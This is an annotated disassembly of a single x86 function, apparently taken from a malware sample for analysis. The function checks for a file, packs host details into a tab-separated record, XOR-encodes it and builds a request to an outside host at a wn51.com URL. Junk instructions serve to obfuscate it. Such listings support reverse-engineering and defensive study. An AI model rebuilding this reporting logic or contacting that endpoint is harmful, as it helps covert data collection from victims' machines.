Function at 0x411350
Capabilities:
Check if file exists
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5dd2fd
mov eax, dword fs:[0]
push eax
mov eax, 0x1d7c
call fcn.0046d920
mov eax, dword [0x67432c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d7c], ecx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1d80], eax
call fcn.0045250c
test al, al
je 0x4113ab
xor al, 0x74
fisub word [edx - 0x78]
cmpsb byte [esi], byte es:[edi]
push ss
invalid
call fcn.00452215
test al, al
je 0x4113d3
push ss
xor eax, 0xba417ce6
cmp eax, 0x1c7bf5d5
test dword [ebx - 0x78], eax
daa
cmpsb byte [esi], byte es:[edi]
or ebp, dword [ebp + 0x74]
imul ecx, dword [edx + 0x10f6d6e4], 3
adc eax, 0xe8e483c9
leave
and esp, 0xffffffe8
call fcn.00452032
test al, al
je 0x4113f2
pop edx
or al, 4
add byte [eax + eax*8 - 0x47b2e98c], al
pop es
xor esi, dword [edx + 0x7b]
dec ebp
mov eax, 0x7b723307
aad 0x32
lodsb al, byte [esi]
jbe 0x4113d0
jp 0x411447
add al, 0xa9
cmp eax, 0xa4510bbf
fldlg2
push 0x11
xor eax, eax
mov dword [ebp - 0x1d30], 7
push str.C:LogResLog.dll
lea ecx, [ebp - 0x1d44]
mov dword [ebp - 0x1d34], 0
mov word [ebp - 0x1d44], ax
call fcn.00402ac0
cmp dword [ebp - 0x1d30], 8
lea eax, [ebp - 0x1d44]
mov dword [ebp - 4], 0
cmovae eax, dword [ebp - 0x1d44]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
movzx ecx, byte [ebp + 0xc]
xor edx, edx
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0x1d84], ecx
call fcn.0045236e
test al, al
je 0x411474
sahf
lea esp, [esi + 0x77]
and al, 0x76
and esp, edi
inc edi
mov bl, 0xf8
int3
call fcn.00452101
test al, al
je 0x411495
invalid
call fcn.0045218b
test al, al
je 0x4114b6
enter 0xffffffffffffa34a, 0x33
ljmp 0xd466
cmp byte [ebp - 0x1d84], 0
je 0x4114ef
push 0x270f
push 0
xor bl, bl
call fcn.00455cad
add esp, 8
movzx ebx, bl
cmp eax, 0x64
mov ecx, 1
cmovle ebx, ecx
call fcn.004584c0
test eax, eax
jne 0x4114ef
test bl, bl
je 0x411a64
mov edx, dword [ebp - 0x1d80]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
cmp byte [edx], 0
jne 0x411519
xor ecx, ecx
jmp 0x411529
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411520
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1d14]
call fcn.004028a0
lea eax, [ebp - 0x1d14]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x1d2c]
push eax
call fcn.00457902
add esp, 8
mov eax, dword [ebp - 0x1d00]
mov byte [ebp - 4], 3
cmp eax, 0x10
jb 0x411572
inc eax
lea ecx, [ebp - 0x1d14]
push eax
push dword [ebp - 0x1d14]
call fcn.00402bc0
cmp dword [ebp - 0x1d18], 8
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x1d2c]
mov dword [ebp - 0x1d00], 0xf
cmovae eax, dword [ebp - 0x1d2c]
push ecx
push eax
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
call fcn.00457a97
add esp, 8
call fcn.00452329
test al, al
je 0x4115cc
or ebp, dword [eax - 0x7b]
xor ch, byte [edx]
sbb byte [ecx - 0x7de9129f], ch
stc
pop es
or al, 0xfd
cmp ebp, 0x1000680b
add byte [eax], al
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.00480620
add esp, 0xc
call fcn.00452596
test al, al
je 0x4115fb
or eax, 0x37189588
invalid
mov eax, dword [ebp - 0x1d7c]
cmp dword [eax + 0xcc], 0x10
lea ecx, [eax + 0xb8]
jb 0x411612
mov ecx, dword [ecx]
cmp dword [eax + 0x54], 0x10
lea edx, [eax + 0x40]
jb 0x41161d
mov edx, dword [edx]
cmp dword [eax + 0x9c], 0x10
lea esi, [eax + 0x88]
jb 0x41162e
mov esi, dword [esi]
cmp dword [eax + 0x84], 0x10
lea edi, [eax + 0x70]
jb 0x41163c
mov edi, dword [edi]
add eax, 0x28
cmp dword [eax + 0x14], 0x10
jb 0x411647
mov eax, dword [eax]
push ecx
push dword [ebp + 0x14]
lea ecx, [ebp - 0x114]
push ecx
push edx
push esi
push edi
push eax
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s_t_d_t_s
push eax
call fcn.004089f0
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00480620
add esp, 0x30
mov dword [ebp - 0x1d88], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
jne 0x4116af
xor ecx, ecx
jmp 0x4116c1
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4116b8
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1cfc]
call fcn.004028a0
cmp dword [ebp - 0x1ce8], 0x10
lea ecx, [ebp - 0x1d88]
push ecx
lea ecx, [ebp - 0xccc]
mov byte [ebp - 4], 4
push ecx
push dword [ebp - 0x1cec]
lea eax, [ebp - 0x1cfc]
cmovae eax, dword [ebp - 0x1cfc]
push eax
call fcn.00475840
add esp, 0x10
call fcn.004524c7
test al, al
je 0x411724
invalid
sub al, 0x8a
mov ecx, dword [edi - 0x69fd5fa6]
outsd dx, dword [esi]
jl 0x4116df
cmp al, bl
pop ds
sbb ebp, dword [edi - 0x71]
push ebp
lea ecx, [ebp - 0x1d75]
call fcn.00414b20
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x1d75]
call fcn.0047602f
call fcn.004523f8
test al, al
je 0x411769
xchg esp, eax
xor dword [ebx], 0xbc3c7d23
xchg eax, ebx
and dword [ecx + 0x6a31b89], 0x76086f83
or esp, ecx
push esp
stosb byte es:[edi], al
and dword [edx], esi
push ss
call fcn.0045225a
test al, al
je 0x411787
push esi
xor eax, 0x72aedcc0
popal
xchg ebp, eax
lodsb al, byte [esi]
loop 0x4117fa
pop ecx
mov ecx, 0x799b4503
xchg edi, eax
xchg ebp, eax
pop es
call fcn.004523b3
test al, al
je 0x4117a2
retf
and eax, 0x68456ade
cmp byte [eax + 0x5e], 0
push 0x45
push str.https:__tjtv3.wn51.com__6075554d87c54ec2771e66409270e621de961b5ac5
lea ecx, [ebp - 0x1ce4]
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
call fcn.004028a0
cmp byte [ebp - 0xccc], 0
mov byte [ebp - 4], 6
jne 0x4117e0
dec dword [edi]
add byte [eax], al
add bh, al
test dword [ebx], ebp
invalid
xor ecx, ecx
jmp 0x4117f9
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4117f0
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.004060d0
call fcn.004522e4
test al, al
je 0x411829
ja 0x4117b4
sbb al, 0x8a
inc ebp
pop ebx
jecxz 0x4117a0
test byte [edi + 0x745ca355], ch
imul byte [ecx - 0xe5c187c]
call fcn.00452101
test al, al
je 0x411850
jle 0x4118a2
cli
mov bl, 0xca
das
mov byte [esi + 0x127c5c45], cl
pop ss
popfd
test dword [ebx + ecx*4 + 0x3c], edi
mov dl, 4
cld
sahf
test al, 0x7e
dec ebx
enter 0x6992, 0xffffffffffffffb0
pop ebp
call fcn.004521d0
test al, al
je 0x411878
int3
cmp byte [ebp + 8], 0
jne 0x411903
xor eax, eax
mov dword [ebp - 0x1d60], 7
mov dword [ebp - 0x1d64], 0
mov word [ebp - 0x1d74], ax
mov dword [ebp - 0x1d48], 0xf
mov dword [ebp - 0x1d4c], eax
mov byte [ebp - 0x1d5c], al
push 4
push 0x5e78c8
lea ecx, [ebp - 0x1d74]
mov byte [ebp - 4], 7
call fcn.00402ac0
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1ce4]
push eax
lea ecx, [ebp - 0x1d5c]
call fcn.00402770
mov ecx, dword [ebp - 0x1d7c]
lea eax, [ebp - 0x1d74]
push eax
call fcn.0040d4a0
lea ecx, [ebp - 0x1d74]
call fcn.0040d430
jmp 0x4119ac
loop 0x4118a3
invalid
dec dword [edi]
add byte [eax], al
add byte [ecx - 0x1d4b7b], cl
dec dword [eax - 0x1d5b7b]
jmp [edx + 4]
call fcn.00451f63
test al, al
je 0x41191c
mov ch, 0xb9
dec ebp
sub ebp, dword [edx - 0x71]
sub esi, 0x7c076b32
dec esp
dec ebx
add al, byte [edi - 0x1ccf427d]
invalid
cmp dword [ebp - 0x1cd0], 0x10
lea eax, [ebp - 0x1ce4]
mov edi, dword [ebp - 0x1d7c]
mov ecx, edi
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.00410a90
mov dword [ebp - 0x1d80], eax
call fcn.004523f8
test al, al
je 0x41196a
iretd
call dword [eax - 0x18]
push edx
int1
invalid
dec edi
loopne 0x411930
and bh, byte [edx]
lahf
push ecx
jp 0x4119c3
pop edi
pop ebp
dec ebx
cmp eax, 0x535d85a6
movsb byte es:[edi], byte [esi]
or dword [ecx + 0x3a6c6c34], edx
adc dh, byte [eax]
aas
fidivr word [edx]
call fcn.0045250c
test al, al
je 0x411997
js 0x411937
xor bh, al
sbb byte [esi - 0x6d9454f7], cl
inc esi
cmpsb byte [esi], byte es:[edi]
xor byte [ebx], dl
pop edx
pop edx
sub eax, dword [ebp - 0x37a85b66]
jle 0x411982
iretd
cmp dword [ebp - 0x1d80], 0
jne 0x4119ac
push 0x5e78c8
mov ecx, edi
call fcn.0040d650
mov eax, dword [ebp - 0x1cd0]
cmp eax, 0x10
jb 0x4119ca
inc eax
lea ecx, [ebp - 0x1ce4]
push eax
push dword [ebp - 0x1ce4]
call fcn.00402bc0
invalid
lea ecx, [ebp - 0x1d75]
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
call fcn.00454ad0
mov eax, dword [ebp - 0x1ce8]
cmp eax, 0x10
jb 0x411a0e
inc eax
lea ecx, [ebp - 0x1cfc]
push eax
push dword [ebp - 0x1cfc]
call fcn.00402bc0
mov eax, dword [ebp - 0x1d18]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
cmp eax, 8
jb 0x411a47
inc eax
lea ecx, [ebp - 0x1d2c]
push eax
push dword [ebp - 0x1d2c]
call fcn.00402c10
xor eax, eax
mov dword [ebp - 0x1d18], 7
mov dword [ebp - 0x1d1c], 0
mov word [ebp - 0x1d2c], ax
mov eax, dword [ebp - 0x1d30]
cmp eax, 8
jb 0x411a82
inc eax
lea ecx, [ebp - 0x1d44]
push eax
push dword [ebp - 0x1d44]
call fcn.00402c10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046d802
mov esp, ebp
pop ebp
ret 0x10